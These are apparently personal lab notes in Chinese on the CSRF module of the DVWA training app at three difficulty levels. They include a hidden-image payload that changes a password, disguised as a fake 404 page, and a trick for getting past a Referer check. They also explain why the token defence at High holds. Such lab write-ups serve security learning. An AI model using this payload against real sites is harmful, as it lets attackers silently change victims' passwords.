跨站请求伪造,指客户端仍有有效身份认证时诱导其点击恶意链接或访问包含攻击代码的页面,以此向对应服务器发送请求
$Low$
1
password_new=password&password_conf=password&Change=Change
对于最简单的情况,直接修改对应参数加上短网址生成器即可
或者通过 $img$ 标签中的 $src$ 属性来加载攻击所用的 $URL$ ,并隐藏布局
1
2
3<img src="192.168.0.104/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#" border="0" style= "display:none;"/>
<h1> 404 <h1>
<h2> file not found. <h2>注意如此生成的
.html
文件必须被相同的浏览器打开
$Medium$
这里的过滤机制如下
stripos
函数用于比较前一个字符串是否在后一个中出现过$_SERVER['HTTP_REFERER']
返回了引导用户代理来到当前页的前一页的地址(如果存在),由浏览器生成且可以伪造$_SERVER['SERVER_NAME']
则是返回当前域名那么把上面的攻击网站名称换成对应的服务器 $ip$ 即可绕过
$High$
加入了 $Anti-token$ 机制
从攻击者的思路是来看,可以直接抓包获取 $token$ ,或者用 $burpsuite$ 带有的 $CSRF \, token \, tracker$ 插件 ,但这并不能用于实战的钓鱼中
又由于浏览器同源原则,无法在攻击者服务器的界面中利用脚本获取到目标服务器返回的 $token$ ,从而无法攻击